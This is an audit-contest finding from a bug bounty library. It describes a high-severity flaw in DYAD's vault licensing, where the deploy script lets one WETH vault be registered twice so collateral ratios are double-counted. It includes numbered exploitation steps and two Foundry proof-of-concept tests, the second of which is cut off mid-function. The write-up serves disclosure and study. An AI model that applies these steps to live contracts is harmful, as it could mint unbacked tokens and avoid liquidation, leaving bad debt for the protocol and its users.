# Design flaw and mismanagement in vault licensing leads to double counting in collateral ratios and positions collateralized entirely with kerosine

Deploy script licenses WETH vault in both KerosineManager and VaultLicenser, letting users register the same vault twice and double-count collateral, or collateralize entirely with kerosene.

- Payout: Audit contest
- Severity: high
- Program: DYAD
- Found by: Maroutis
- Disclosed: 2024-06-17
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-04-dyad-findings/issues/1133
- Library page: https://bugbountylibrary.com/r/c4%3A2024-04-dyad%3AH-01
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:oracle-manipulation

**Target:** VaultManagerV2 / KerosineManager / VaultLicenser licensing and collatRatio
**Root cause:** Deploy.V2 licenses WETH vaults in both KerosineManager and VaultLicenser, and licenses kerosine vaults via VaultLicenser instead of KerosineManager, so the same vault can be added to both the vaults and vaultsKerosene mappings.
**Steps:**
1. Deploy per Deploy.V2.s.sol: `kerosineManager.add(ethVault)` and `vaultLicenser.add(ethVault)` both called
2. Mint dNFT id; call `vaultManagerV2.add(id, wethVault)` and `vaultManagerV2.addKerosene(id, wethVault)`
3. Deposit WETH via `depositV2(weth, id, wethVault, 1e22)`
4. Call `vaultManagerV2.mintDyad(id, 1e25, RECEIVER)`; `collatRatio(id)` returns 200% though real backing is 100%
5. Attempt `liquidate(id, id2)` reverts with CrTooHigh
6. For exploit 2: `vaultManagerV2.add(id, unboundedKerosineVault)` then deposit kerosine and mint DYAD, yielding a position collateralized with endogenous kerosine
**How found:** Code review of the Deploy.V2 script noticed WETH vaults added to both KerosineManager and VaultLicenser, and kerosine vaults added via VaultLicenser; traced how VaultManagerV2.collatRatio reads both vaults and vaultsKerosene mappings.
**Exploitation:** Attacker registers the same WETH vault in both normal and kerosene mappings to double-count collateral, minting DYAD up to 2x the true collateral value and avoiding liquidation; alternatively registers the kerosine vault as a normal vault to mint against endogenous kerosine.
**Escalation:** Double-counting lets attacker mint beyond safe CR and prevents liquidation, leaving bad debt to the protocol.
**Insight:** When a protocol has separate licensing registries feeding the same accounting function, check whether a single asset can be registered in multiple registries and thus counted more than once in ratio math.

## Proof of concept (copied exactly from the original report)

**Foundry test showing WETH double-counted in CR**

```
function test_CanMintSameAmountAsDeposit() public {
        // address RECEIVER2 = makeAddr("Receiver2");

        uint256 id = mintDNft();
        uint256 id2 = mintDNft();
        // Add vault in both contracts
        vaultManagerV2.add(id, address(wethVaultV2));
        vaultManagerV2.add(id2, address(wethVaultV2));
        vaultManagerV2.addKerosene(id, address(wethVaultV2));

        // Deposits 1e25 USD of Weth
        depositV2(weth, id, address(wethVaultV2), 1e22);// Price weth 1000
        // Mint 1e25
        vaultManagerV2.mintDyad(id, 1e25, RECEIVER);

        // Protocol considers that User has deposited twice the amount in the collateral ratio calculation
        console.log("CR of position", vaultManagerV2.collatRatio(id)); // 200%

        // Position is not liquidatable even if it is only collateralized at 100%
        vm.expectRevert(IVaultManager.CrTooHigh.selector);
        vm.prank(RECEIVER);
        vaultManagerV2.liquidate(id, id2);

    }
```

**Foundry test adding kerosine vault as exogenous collateral**

```
function test_addKeroseneAsExoColl() public {
        uint256 id = mintDNft();
        uint256 id2 = mintDNft();

        // Follow script deployment. Weth Vault is licensed in both VaultManager and KerosineManager
        // A user can just add his id and the WethVault in the kerosine mapping and kerosineVault in the vault mapping
        vaultManagerV2.addKerosene(id, address(wethVaultV2));
        vaultManagerV2.add(id, address(unboundedKerosineVault));

        // Assume weth was deposited by other users
        depositV2(weth, id2, address(wethVaultV2), 1e24); //weth 1000 Usd

        // User deposits kerosine using id
        kerosineMock.mint(address(this), 1e20);
        kerosineMock.approve(address(vaultManagerV2), 1e20);
        vaultManagerV2.deposit(id, address(unboundedKerosineVault), 1e20);
        console.log("Kerosine price", unboundedKerosineVault.assetPrice()); //9999

        //Then mint dyad
        vaultManagerV2.mintDyad(id, 1e19, RECEIVER);
```

